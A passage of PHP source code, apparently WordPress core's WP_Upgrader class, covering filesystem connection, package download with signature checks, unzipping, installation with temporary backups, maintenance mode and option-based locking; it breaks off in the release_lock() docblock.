require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';

/**
 * Core class used for upgrading/installing a local set of files via
 * the Filesystem Abstraction classes from a Zip file.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Upgrader {

	/**
	 * The error/notification strings used to update the user on the progress.
	 *
	 * @since 2.8.0
	 * @var array $strings
	 */
	public $strings = array();

	/**
	 * The upgrader skin being used.
	 *
	 * @since 2.8.0
	 * @var Automatic_Upgrader_Skin|WP_Upgrader_Skin $skin
	 */
	public $skin = null;

	/**
	 * The result of the installation.
	 *
	 * This is set by WP_Upgrader::install_package(), only when the package is installed
	 * successfully. It will then be an array, unless a WP_Error is returned by the
	 * {@see 'upgrader_post_install'} filter. In that case, the WP_Error will be assigned to
	 * it.
	 *
	 * @since 2.8.0
	 *
	 * @var array|WP_Error $result {
	 *     @type string $source             The full path to the source the files were installed from.
	 *     @type string $source_files       List of all the files in the source directory.
	 *     @type string $destination        The full path to the installation destination folder.
	 *     @type string $destination_name   The name of the destination folder, or empty if `$destination`
	 *                                      and `$local_destination` are the same.
	 *     @type string $local_destination  The full local path to the destination folder. This is usually
	 *                                      the same as `$destination`.
	 *     @type string $remote_destination The full remote path to the destination folder
	 *                                      (i.e., from `$wp_filesystem`).
	 *     @type bool   $clear_destination  Whether the destination folder was cleared.
	 * }
	 */
	public $result = array();

	/**
	 * The total number of updates being performed.
	 *
	 * Set by the bulk update methods.
	 *
	 * @since 3.0.0
	 * @var int $update_count
	 */
	public $update_count = 0;

	/**
	 * The current update if multiple updates are being performed.
	 *
	 * Used by the bulk update methods, and incremented for each update.
	 *
	 * @since 3.0.0
	 * @var int
	 */
	public $update_current = 0;

	/**
	 * Stores the list of plugins or themes added to temporary backup directory.
	 *
	 * Used by the rollback functions.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $temp_backups = array();

	/**
	 * Stores the list of plugins or themes to be restored from temporary backup directory.
	 *
	 * Used by the rollback functions.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $temp_restores = array();

	/**
	 * Construct the upgrader with a skin.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader_Skin $skin The upgrader skin to use. Default is a WP_Upgrader_Skin
	 *                               instance.
	 */
	public function __construct( $skin = null ) {
		if ( null === $skin ) {
			$this->skin = new WP_Upgrader_Skin();
		} else {
			$this->skin = $skin;
		}
	}

	/**
	 * Initializes the upgrader.
	 *
	 * This will set the relationship between the skin being used and this upgrader,
	 * and also add the generic strings to `WP_Upgrader::$strings`.
	 *
	 * Additionally, it will schedule a weekly task to clean up the temporary backup directory.
	 *
	 * @since 2.8.0
	 * @since 6.3.0 Added the `schedule_temp_backup_cleanup()` task.
	 */
	public function init() {
		$this->skin->set_upgrader( $this );
		$this->generic_strings();

		if ( ! wp_installing() ) {
			$this->schedule_temp_backup_cleanup();
		}
	}

	/**
	 * Schedules the cleanup of the temporary backup directory.
	 *
	 * @since 6.3.0
	 */
	protected function schedule_temp_backup_cleanup() {
		if ( false === wp_next_scheduled( 'wp_delete_temp_updater_backups' ) ) {
			wp_schedule_event( time(), 'weekly', 'wp_delete_temp_updater_backups' );
		}
	}

	/**
	 * Adds the generic strings to WP_Upgrader::$strings.
	 *
	 * @since 2.8.0
	 */
	public function generic_strings() {
		$this->strings['bad_request']    = __( 'Invalid data provided.' );
		$this->strings['fs_unavailable'] = __( 'Could not access filesystem.' );
		$this->strings['fs_error']       = __( 'Filesystem error.' );
		$this->strings['fs_no_root_dir'] = __( 'Unable to locate WordPress root directory.' );
		/* translators: %s: Directory name. */
		$this->strings['fs_no_content_dir'] = sprintf( __( 'Unable to locate WordPress content directory (%s).' ), 'wp-content' );
		$this->strings['fs_no_plugins_dir'] = __( 'Unable to locate WordPress plugin directory.' );
		$this->strings['fs_no_themes_dir']  = __( 'Unable to locate WordPress theme directory.' );
		/* translators: %s: Directory name. */
		$this->strings['fs_no_folder'] = __( 'Unable to locate needed folder (%s).' );

		$this->strings['download_failed']      = __( 'Download failed.' );
		$this->strings['installing_package']   = __( 'Installing the latest version&#8230;' );
		$this->strings['no_files']             = __( 'The package contains no files.' );
		$this->strings['folder_exists']        = __( 'Destination folder already exists.' );
		$this->strings['mkdir_failed']         = __( 'Could not create directory.' );
		$this->strings['incompatible_archive'] = __( 'The package could not be installed.' );
		$this->strings['files_not_writable']   = __( 'The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.' );

		$this->strings['maintenance_start'] = __( 'Enabling Maintenance mode&#8230;' );
		$this->strings['maintenance_end']   = __( 'Disabling Maintenance mode&#8230;' );

		/* translators: %s: upgrade-temp-backup */
		$this->strings['temp_backup_mkdir_failed'] = sprintf( __( 'Could not create the %s directory.' ), 'upgrade-temp-backup' );
		/* translators: %s: upgrade-temp-backup */
		$this->strings['temp_backup_move_failed'] = sprintf( __( 'Could not move the old version to the %s directory.' ), 'upgrade-temp-backup' );
		/* translators: %s: The plugin or theme slug. */
		$this->strings['temp_backup_restore_failed'] = __( 'Could not restore the original version of %s.' );
		/* translators: %s: The plugin or theme slug. */
		$this->strings['temp_backup_delete_failed'] = __( 'Could not delete the temporary backup directory for %s.' );
	}

	/**
	 * Connects to the filesystem.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $directories                  Optional. Array of directories. If any of these do
	 *                                               not exist, a WP_Error object will be returned.
	 *                                               Default empty array.
	 * @param bool     $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
	 *                                               Default false.
	 * @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
	 */
	public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
		global $wp_filesystem;

		$credentials = $this->skin->request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership );
		if ( false === $credentials ) {
			return false;
		}

		if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
			$error = true;
			if ( is_object( $wp_filesystem ) && $wp_filesystem->errors->has_errors() ) {
				$error = $wp_filesystem->errors;
			}
			// Failed to connect. Error and request again.
			$this->skin->request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
			return false;
		}

		if ( ! is_object( $wp_filesystem ) ) {
			return new WP_Error( 'fs_unavailable', $this->strings['fs_unavailable'] );
		}

		if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
			return new WP_Error( 'fs_error', $this->strings['fs_error'], $wp_filesystem->errors );
		}

		foreach ( (array) $directories as $dir ) {
			switch ( $dir ) {
				case ABSPATH:
					if ( ! $wp_filesystem->abspath() ) {
						return new WP_Error( 'fs_no_root_dir', $this->strings['fs_no_root_dir'] );
					}
					break;
				case WP_CONTENT_DIR:
					if ( ! $wp_filesystem->wp_content_dir() ) {
						return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
					}
					break;
				case WP_PLUGIN_DIR:
					if ( ! $wp_filesystem->wp_plugins_dir() ) {
						return new WP_Error( 'fs_no_plugins_dir', $this->strings['fs_no_plugins_dir'] );
					}
					break;
				case get_theme_root():
					if ( ! $wp_filesystem->wp_themes_dir() ) {
						return new WP_Error( 'fs_no_themes_dir', $this->strings['fs_no_themes_dir'] );
					}
					break;
				default:
					if ( ! $wp_filesystem->find_folder( $dir ) ) {
						return new WP_Error( 'fs_no_folder', sprintf( $this->strings['fs_no_folder'], esc_html( basename( $dir ) ) ) );
					}
					break;
			}
		}
		return true;
	}

	/**
	 * Downloads a package.
	 *
	 * @since 2.8.0
	 * @since 5.2.0 Added the `$check_signatures` parameter.
	 * @since 5.5.0 Added the `$hook_extra` parameter.
	 *
	 * @param string $package          The URI of the package. If this is the full path to an
	 *                                 existing local file, it will be returned untouched.
	 * @param bool   $check_signatures Whether to validate file signatures. Default false.
	 * @param array  $hook_extra       Extra arguments to pass to the filter hooks. Default empty array.
	 * @return string|WP_Error The full path to the downloaded package file, or a WP_Error object.
	 */
	public function download_package( $package, $check_signatures = false, $hook_extra = array() ) {
		/**
		 * Filters whether to return the package.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 Added the `$hook_extra` parameter.
		 *
		 * @param bool        $reply      Whether to bail without returning the package.
		 *                                Default false.
		 * @param string      $package    The package file name.
		 * @param WP_Upgrader $upgrader   The WP_Upgrader instance.
		 * @param array       $hook_extra Extra arguments passed to hooked filters.
		 */
		$reply = apply_filters( 'upgrader_pre_download', false, $package, $this, $hook_extra );
		if ( false !== $reply ) {
			return $reply;
		}

		if ( ! preg_match( '!^(http|https|ftp)://!i', $package ) && file_exists( $package ) ) { // Local file or remote?
			return $package; // Must be a local file.
		}

		if ( empty( $package ) ) {
			return new WP_Error( 'no_package', $this->strings['no_package'] );
		}

		$this->skin->feedback( 'downloading_package', $package );

		$download_file = download_url( $package, 300, $check_signatures );

		if ( is_wp_error( $download_file ) && ! $download_file->get_error_data( 'softfail-filename' ) ) {
			return new WP_Error( 'download_failed', $this->strings['download_failed'], $download_file->get_error_message() );
		}

		return $download_file;
	}

	/**
	 * Unpacks a compressed package file.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $package        Full path to the package file.
	 * @param bool   $delete_package Optional. Whether to delete the package file after attempting
	 *                               to unpack it. Default true.
	 * @return string|WP_Error The path to the unpacked contents, or a WP_Error on failure.
	 */
	public function unpack_package( $package, $delete_package = true ) {
		global $wp_filesystem;

		$this->skin->feedback( 'unpack_package' );

		if ( ! $wp_filesystem->wp_content_dir() ) {
			return new WP_Error( 'fs_no_content_dir', $this->strings['fs_no_content_dir'] );
		}

		$upgrade_folder = $wp_filesystem->wp_content_dir() . 'upgrade/';

		// Clean up contents of upgrade directory beforehand.
		$upgrade_files = $wp_filesystem->dirlist( $upgrade_folder );
		if ( ! empty( $upgrade_files ) ) {
			foreach ( $upgrade_files as $file ) {
				$wp_filesystem->delete( $upgrade_folder . $file['name'], true );
			}
		}

		// We need a working directory - strip off any .tmp or .zip suffixes.
		$working_dir = $upgrade_folder . basename( basename( $package, '.tmp' ), '.zip' );

		// Clean up working directory.
		if ( $wp_filesystem->is_dir( $working_dir ) ) {
			$wp_filesystem->delete( $working_dir, true );
		}

		// Unzip package to working directory.
		$result = unzip_file( $package, $working_dir );

		// Once extracted, delete the package if required.
		if ( $delete_package ) {
			unlink( $package );
		}

		if ( is_wp_error( $result ) ) {
			$wp_filesystem->delete( $working_dir, true );
			if ( 'incompatible_archive' === $result->get_error_code() ) {
				return new WP_Error( 'incompatible_archive', $this->strings['incompatible_archive'], $result->get_error_data() );
			}
			return $result;
		}

		return $working_dir;
	}

	/**
	 * Flattens the results of WP_Filesystem_Base::dirlist() for iterating over.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @param array  $nested_files Array of files as returned by WP_Filesystem_Base::dirlist().
	 * @param string $path         Relative path to prepend to child nodes. Optional.
	 * @return array A flattened array of the $nested_files specified.
	 */
	protected function flatten_dirlist( $nested_files, $path = '' ) {
		$files = array();

		foreach ( $nested_files as $name => $details ) {
			$files[ $path . $name ] = $details;

			// Append children recursively.
			if ( ! empty( $details['files'] ) ) {
				$children = $this->flatten_dirlist( $details['files'], $path . $name . '/' );

				// Merge keeping possible numeric keys, which array_merge() will reindex from 0..n.
				$files = $files + $children;
			}
		}

		return $files;
	}

	/**
	 * Clears the directory where this item is going to be installed into.
	 *
	 * @since 4.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $remote_destination The location on the remote filesystem to be cleared.
	 * @return true|WP_Error True upon success, WP_Error on failure.
	 */
	public function clear_destination( $remote_destination ) {
		global $wp_filesystem;

		$files = $wp_filesystem->dirlist( $remote_destination, true, true );

		// False indicates that the $remote_destination doesn't exist.
		if ( false === $files ) {
			return true;
		}

		// Flatten the file list to iterate over.
		$files = $this->flatten_dirlist( $files );

		// Check all files are writable before attempting to clear the destination.
		$unwritable_files = array();

		// Check writability.
		foreach ( $files as $filename => $file_details ) {
			if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
				// Attempt to alter permissions to allow writes and try again.
				$wp_filesystem->chmod( $remote_destination . $filename, ( 'd' === $file_details['type'] ? FS_CHMOD_DIR : FS_CHMOD_FILE ) );
				if ( ! $wp_filesystem->is_writable( $remote_destination . $filename ) ) {
					$unwritable_files[] = $filename;
				}
			}
		}

		if ( ! empty( $unwritable_files ) ) {
			return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
		}

		if ( ! $wp_filesystem->delete( $remote_destination, true ) ) {
			return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
		}

		return true;
	}

	/**
	 * Install a package.
	 *
	 * Copies the contents of a package from a source directory, and installs them in
	 * a destination directory. Optionally removes the source. It can also optionally
	 * clear out the destination folder if it already exists.
	 *
	 * @since 2.8.0
	 * @since 6.2.0 Use move_dir() instead of copy_dir() when possible.
	 *
	 * @global WP_Filesystem_Base $wp_filesystem        WordPress filesystem subclass.
	 * @global array              $wp_theme_directories
	 *
	 * @param array|string $args {
	 *     Optional. Array or string of arguments for installing a package. Default empty array.
	 *
	 *     @type string $source                      Required path to the package source. Default empty.
	 *     @type string $destination                 Required path to a folder to install the package in.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the destination
	 *                                               folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files from the working directory
	 *                                               after copying them to the destination. Default false.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if
	 *                                               the destination folder already exists. Default true.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::install_package(). Default empty array.
	 * }
	 *
	 * @return array|WP_Error The result (also stored in `WP_Upgrader::$result`), or a WP_Error on failure.
	 */
	public function install_package( $args = array() ) {
		global $wp_filesystem, $wp_theme_directories;

		$defaults = array(
			'source'                      => '', // Please always pass this.
			'destination'                 => '', // ...and this.
			'clear_destination'           => false,
			'clear_working'               => false,
			'abort_if_destination_exists' => true,
			'hook_extra'                  => array(),
		);

		$args = wp_parse_args( $args, $defaults );

		// These were previously extract()'d.
		$source            = $args['source'];
		$destination       = $args['destination'];
		$clear_destination = $args['clear_destination'];

		if ( function_exists( 'set_time_limit' ) ) {
			set_time_limit( 300 );
		}

		if ( empty( $source ) || empty( $destination ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}
		$this->skin->feedback( 'installing_package' );

		/**
		 * Filters the installation response before the installation has started.
		 *
		 * Returning a value that could be evaluated as a `WP_Error` will effectively
		 * short-circuit the installation, returning that value instead.
		 *
		 * @since 2.8.0
		 *
		 * @param bool|WP_Error $response   Installation response.
		 * @param array         $hook_extra Extra arguments passed to hooked filters.
		 */
		$res = apply_filters( 'upgrader_pre_install', true, $args['hook_extra'] );

		if ( is_wp_error( $res ) ) {
			return $res;
		}

		// Retain the original source and destinations.
		$remote_source     = $args['source'];
		$local_destination = $destination;

		$source_files       = array_keys( $wp_filesystem->dirlist( $remote_source ) );
		$remote_destination = $wp_filesystem->find_folder( $local_destination );

		// Locate which directory to copy to the new folder. This is based on the actual folder holding the files.
		if ( 1 === count( $source_files ) && $wp_filesystem->is_dir( trailingslashit( $args['source'] ) . $source_files[0] . '/' ) ) {
			// Only one folder? Then we want its contents.
			$source = trailingslashit( $args['source'] ) . trailingslashit( $source_files[0] );
		} elseif ( 0 === count( $source_files ) ) {
			// There are no files?
			return new WP_Error( 'incompatible_archive_empty', $this->strings['incompatible_archive'], $this->strings['no_files'] );
		} else {
			/*
			 * It's only a single file, the upgrader will use the folder name of this file as the destination folder.
			 * Folder name is based on zip filename.
			 */
			$source = trailingslashit( $args['source'] );
		}

		/**
		 * Filters the source file location for the upgrade package.
		 *
		 * @since 2.8.0
		 * @since 4.4.0 The $hook_extra parameter became available.
		 *
		 * @param string      $source        File source location.
		 * @param string      $remote_source Remote file source location.
		 * @param WP_Upgrader $upgrader      WP_Upgrader instance.
		 * @param array       $hook_extra    Extra arguments passed to hooked filters.
		 */
		$source = apply_filters( 'upgrader_source_selection', $source, $remote_source, $this, $args['hook_extra'] );

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		if ( ! empty( $args['hook_extra']['temp_backup'] ) ) {
			$temp_backup = $this->move_to_temp_backup_dir( $args['hook_extra']['temp_backup'] );

			if ( is_wp_error( $temp_backup ) ) {
				return $temp_backup;
			}

			$this->temp_backups[] = $args['hook_extra']['temp_backup'];
		}

		// Has the source location changed? If so, we need a new source_files list.
		if ( $source !== $remote_source ) {
			$source_files = array_keys( $wp_filesystem->dirlist( $source ) );
		}

		/*
		 * Protection against deleting files in any important base directories.
		 * Theme_Upgrader & Plugin_Upgrader also trigger this, as they pass the
		 * destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
		 * to copy the directory into the directory, whilst they pass the source
		 * as the actual files to copy.
		 */
		$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . '/themes' );

		if ( is_array( $wp_theme_directories ) ) {
			$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
		}

		if ( in_array( $destination, $protected_directories, true ) ) {
			$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
			$destination        = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
		}

		if ( $clear_destination ) {
			// We're going to clear the destination if there's something there.
			$this->skin->feedback( 'remove_old' );

			$removed = $this->clear_destination( $remote_destination );

			/**
			 * Filters whether the upgrader cleared the destination.
			 *
			 * @since 2.8.0
			 *
			 * @param true|WP_Error $removed            Whether the destination was cleared.
			 *                                          True upon success, WP_Error on failure.
			 * @param string        $local_destination  The local package destination.
			 * @param string        $remote_destination The remote package destination.
			 * @param array         $hook_extra         Extra arguments passed to hooked filters.
			 */
			$removed = apply_filters( 'upgrader_clear_destination', $removed, $local_destination, $remote_destination, $args['hook_extra'] );

			if ( is_wp_error( $removed ) ) {
				return $removed;
			}
		} elseif ( $args['abort_if_destination_exists'] && $wp_filesystem->exists( $remote_destination ) ) {
			/*
			 * If we're not clearing the destination folder and something exists there already, bail.
			 * But first check to see if there are actually any files in the folder.
			 */
			$_files = $wp_filesystem->dirlist( $remote_destination );
			if ( ! empty( $_files ) ) {
				$wp_filesystem->delete( $remote_source, true ); // Clear out the source files.
				return new WP_Error( 'folder_exists', $this->strings['folder_exists'], $remote_destination );
			}
		}

		/*
		 * If 'clear_working' is false, the source should not be removed, so use copy_dir() instead.
		 *
		 * Partial updates, like language packs, may want to retain the destination.
		 * If the destination exists or has contents, this may be a partial update,
		 * and the destination should not be removed, so use copy_dir() instead.
		 */
		if ( $args['clear_working']
			&& (
				// Destination does not exist or has no contents.
				! $wp_filesystem->exists( $remote_destination )
				|| empty( $wp_filesystem->dirlist( $remote_destination ) )
			)
		) {
			$result = move_dir( $source, $remote_destination, true );
		} else {
			// Create destination if needed.
			if ( ! $wp_filesystem->exists( $remote_destination ) ) {
				if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
					return new WP_Error( 'mkdir_failed_destination', $this->strings['mkdir_failed'], $remote_destination );
				}
			}
			$result = copy_dir( $source, $remote_destination );
		}

		// Clear the working directory?
		if ( $args['clear_working'] ) {
			$wp_filesystem->delete( $remote_source, true );
		}

		if ( is_wp_error( $result ) ) {
			return $result;
		}

		$destination_name = basename( str_replace( $local_destination, '', $destination ) );
		if ( '.' === $destination_name ) {
			$destination_name = '';
		}

		$this->result = compact( 'source', 'source_files', 'destination', 'destination_name', 'local_destination', 'remote_destination', 'clear_destination' );

		/**
		 * Filters the installation response after the installation has finished.
		 *
		 * @since 2.8.0
		 *
		 * @param bool  $response   Installation response.
		 * @param array $hook_extra Extra arguments passed to hooked filters.
		 * @param array $result     Installation result data.
		 */
		$res = apply_filters( 'upgrader_post_install', true, $args['hook_extra'], $this->result );

		if ( is_wp_error( $res ) ) {
			$this->result = $res;
			return $res;
		}

		// Bombard the calling function will all the info which we've just used.
		return $this->result;
	}

	/**
	 * Runs an upgrade/installation.
	 *
	 * Attempts to download the package (if it is not a local file), unpack it, and
	 * install it in the destination folder.
	 *
	 * @since 2.8.0
	 *
	 * @param array $options {
	 *     Array or string of arguments for upgrading/installing a package.
	 *
	 *     @type string $package                     The full path or URI of the package to install.
	 *                                               Default empty.
	 *     @type string $destination                 The full path to the destination folder.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the
	 *                                               destination folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files from the working
	 *                                               directory after copying them to the destination.
	 *                                               Default true.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if the destination
	 *                                               folder already exists. When true, `$clear_destination`
	 *                                               should be false. Default true.
	 *     @type bool   $is_multi                    Whether this run is one of multiple upgrade/installation
	 *                                               actions being performed in bulk. When true, the skin
	 *                                               WP_Upgrader::header() and WP_Upgrader::footer()
	 *                                               aren't called. Default false.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::run().
	 * }
	 * @return array|false|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
	 *                              or false if unable to connect to the filesystem.
	 */
	public function run( $options ) {

		$defaults = array(
			'package'                     => '', // Please always pass this.
			'destination'                 => '', // ...and this.
			'clear_destination'           => false,
			'clear_working'               => true,
			'abort_if_destination_exists' => true, // Abort if the destination directory exists. Pass clear_destination as false please.
			'is_multi'                    => false,
			'hook_extra'                  => array(), // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
		);

		$options = wp_parse_args( $options, $defaults );

		/**
		 * Filters the package options before running an update.
		 *
		 * See also {@see 'upgrader_process_complete'}.
		 *
		 * @since 4.3.0
		 *
		 * @param array $options {
		 *     Options used by the upgrader.
		 *
		 *     @type string $package                     Package for update.
		 *     @type string $destination                 Update location.
		 *     @type bool   $clear_destination           Clear the destination resource.
		 *     @type bool   $clear_working               Clear the working resource.
		 *     @type bool   $abort_if_destination_exists Abort if the Destination directory exists.
		 *     @type bool   $is_multi                    Whether the upgrader is running multiple times.
		 *     @type array  $hook_extra {
		 *         Extra hook arguments.
		 *
		 *         @type string $action               Type of action. Default 'update'.
		 *         @type string $type                 Type of update process. Accepts 'plugin', 'theme', or 'core'.
		 *         @type bool   $bulk                 Whether the update process is a bulk update. Default true.
		 *         @type string $plugin               Path to the plugin file relative to the plugins directory.
		 *         @type string $theme                The stylesheet or template name of the theme.
		 *         @type string $language_update_type The language pack update type. Accepts 'plugin', 'theme',
		 *                                            or 'core'.
		 *         @type object $language_update      The language pack update offer.
		 *     }
		 * }
		 */
		$options = apply_filters( 'upgrader_package_options', $options );

		if ( ! $options['is_multi'] ) { // Call $this->header separately if running multiple times.
			$this->skin->header();
		}

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, $options['destination'] ) );
		// Mainly for non-connected filesystem.
		if ( ! $res ) {
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return false;
		}

		$this->skin->before();

		if ( is_wp_error( $res ) ) {
			$this->skin->error( $res );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $res;
		}

		/*
		 * Download the package. Note: If the package is the full path
		 * to an existing local file, it will be returned untouched.
		 */
		$download = $this->download_package( $options['package'], true, $options['hook_extra'] );

		/*
		 * Allow for signature soft-fail.
		 * WARNING: This may be removed in the future.
		 */
		if ( is_wp_error( $download ) && $download->get_error_data( 'softfail-filename' ) ) {

			// Don't output the 'no signature could be found' failure message for now.
			if ( 'signature_verification_no_signature' !== $download->get_error_code() || WP_DEBUG ) {
				// Output the failure error as a normal feedback, and not as an error.
				$this->skin->feedback( $download->get_error_message() );

				// Report this failure back to WordPress.org for debugging purposes.
				wp_version_check(
					array(
						'signature_failure_code' => $download->get_error_code(),
						'signature_failure_data' => $download->get_error_data(),
					)
				);
			}

			// Pretend this error didn't happen.
			$download = $download->get_error_data( 'softfail-filename' );
		}

		if ( is_wp_error( $download ) ) {
			$this->skin->error( $download );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $download;
		}

		$delete_package = ( $download !== $options['package'] ); // Do not delete a "local" file.

		// Unzips the file into a temporary directory.
		$working_dir = $this->unpack_package( $download, $delete_package );
		if ( is_wp_error( $working_dir ) ) {
			$this->skin->error( $working_dir );
			$this->skin->after();
			if ( ! $options['is_multi'] ) {
				$this->skin->footer();
			}
			return $working_dir;
		}

		// With the given options, this installs it to the destination directory.
		$result = $this->install_package(
			array(
				'source'                      => $working_dir,
				'destination'                 => $options['destination'],
				'clear_destination'           => $options['clear_destination'],
				'abort_if_destination_exists' => $options['abort_if_destination_exists'],
				'clear_working'               => $options['clear_working'],
				'hook_extra'                  => $options['hook_extra'],
			)
		);

		/**
		 * Filters the result of WP_Upgrader::install_package().
		 *
		 * @since 5.7.0
		 *
		 * @param array|WP_Error $result     Result from WP_Upgrader::install_package().
		 * @param array          $hook_extra Extra arguments passed to hooked filters.
		 */
		$result = apply_filters( 'upgrader_install_package_result', $result, $options['hook_extra'] );

		$this->skin->set_result( $result );

		if ( is_wp_error( $result ) ) {
			if ( ! empty( $options['hook_extra']['temp_backup'] ) ) {
				$this->temp_restores[] = $options['hook_extra']['temp_backup'];

				/*
				 * Restore the backup on shutdown.
				 * Actions running on `shutdown` are immune to PHP timeouts,
				 * so in case the failure was due to a PHP timeout,
				 * it will still be able to properly restore the previous version.
				 */
				add_action( 'shutdown', array( $this, 'restore_temp_backup' ) );
			}
			$this->skin->error( $result );

			if ( ! method_exists( $this->skin, 'hide_process_failed' ) || ! $this->skin->hide_process_failed( $result ) ) {
				$this->skin->feedback( 'process_failed' );
			}
		} else {
			// Installation succeeded.
			$this->skin->feedback( 'process_success' );
		}

		$this->skin->after();

		// Clean up the backup kept in the temporary backup directory.
		if ( ! empty( $options['hook_extra']['temp_backup'] ) ) {
			// Delete the backup on `shutdown` to avoid a PHP timeout.
			add_action( 'shutdown', array( $this, 'delete_temp_backup' ), 100, 0 );
		}

		if ( ! $options['is_multi'] ) {

			/**
			 * Fires when the upgrader process is complete.
			 *
			 * See also {@see 'upgrader_package_options'}.
			 *
			 * @since 3.6.0
			 * @since 3.7.0 Added to WP_Upgrader::run().
			 * @since 4.6.0 `$translations` was added as a possible argument to `$hook_extra`.
			 *
			 * @param WP_Upgrader $upgrader   WP_Upgrader instance. In other contexts this might be a
			 *                                Theme_Upgrader, Plugin_Upgrader, Core_Upgrade, or Language_Pack_Upgrader instance.
			 * @param array       $hook_extra {
			 *     Array of bulk item update data.
			 *
			 *     @type string $action       Type of action. Default 'update'.
			 *     @type string $type         Type of update process. Accepts 'plugin', 'theme', 'translation', or 'core'.
			 *     @type bool   $bulk         Whether the update process is a bulk update. Default true.
			 *     @type array  $plugins      Array of the basename paths of the plugins' main files.
			 *     @type array  $themes       The theme slugs.
			 *     @type array  $translations {
			 *         Array of translations update data.
			 *
			 *         @type string $language The locale the translation is for.
			 *         @type string $type     Type of translation. Accepts 'plugin', 'theme', or 'core'.
			 *         @type string $slug     Text domain the translation is for. The slug of a theme/plugin or
			 *                                'default' for core translations.
			 *         @type string $version  The version of a theme, plugin, or core.
			 *     }
			 * }
			 */
			do_action( 'upgrader_process_complete', $this, $options['hook_extra'] );

			$this->skin->footer();
		}

		return $result;
	}

	/**
	 * Toggles maintenance mode for the site.
	 *
	 * Creates/deletes the maintenance file to enable/disable maintenance mode.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param bool $enable True to enable maintenance mode, false to disable.
	 */
	public function maintenance_mode( $enable = false ) {
		global $wp_filesystem;
		$file = $wp_filesystem->abspath() . '.maintenance';
		if ( $enable ) {
			$this->skin->feedback( 'maintenance_start' );
			// Create maintenance file to signal that we are upgrading.
			$maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
			$wp_filesystem->delete( $file );
			$wp_filesystem->put_contents( $file, $maintenance_string, FS_CHMOD_FILE );
		} elseif ( ! $enable && $wp_filesystem->exists( $file ) ) {
			$this->skin->feedback( 'maintenance_end' );
			$wp_filesystem->delete( $file );
		}
	}

	/**
	 * Creates a lock using WordPress options.
	 *
	 * @since 4.5.0
	 *
	 * @global wpdb $wpdb The WordPress database abstraction object.
	 *
	 * @param string $lock_name       The name of this unique lock.
	 * @param int    $release_timeout Optional. The duration in seconds to respect an existing lock.
	 *                                Default: 1 hour.
	 * @return bool False if a lock couldn't be created or if the lock is still valid. True otherwise.
	 */
	public static function create_lock( $lock_name, $release_timeout = null ) {
		global $wpdb;
		if ( ! $release_timeout ) {
			$release_timeout = HOUR_IN_SECONDS;
		}
		$lock_option = $lock_name . '.lock';

		// Try to lock.
		$lock_result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` ( `option_name`, `option_value`, `autoload` ) VALUES (%s, %s, 'no') /* LOCK */", $lock_option, time() ) );

		if ( ! $lock_result ) {
			$lock_result = get_option( $lock_option );

			// If a lock couldn't be created, and there isn't a lock, bail.
			if ( ! $lock_result ) {
				return false;
			}

			// Check to see if the lock is still valid. If it is, bail.
			if ( $lock_result > ( time() - $release_timeout ) ) {
				return false;
			}

			// There must exist an expired lock, clear it and re-gain it.
			WP_Upgrader::release_lock( $lock_name );

			return WP_Upgrader::create_lock( $lock_name, $release_timeout );
		}

		// Update the lock, as by this point we've definitely got a lock, just need to fire the actions.
		update_option( $lock_option, time() );

		return true;
	}

	/**
	 * Releases an upgrader lock.
	 *
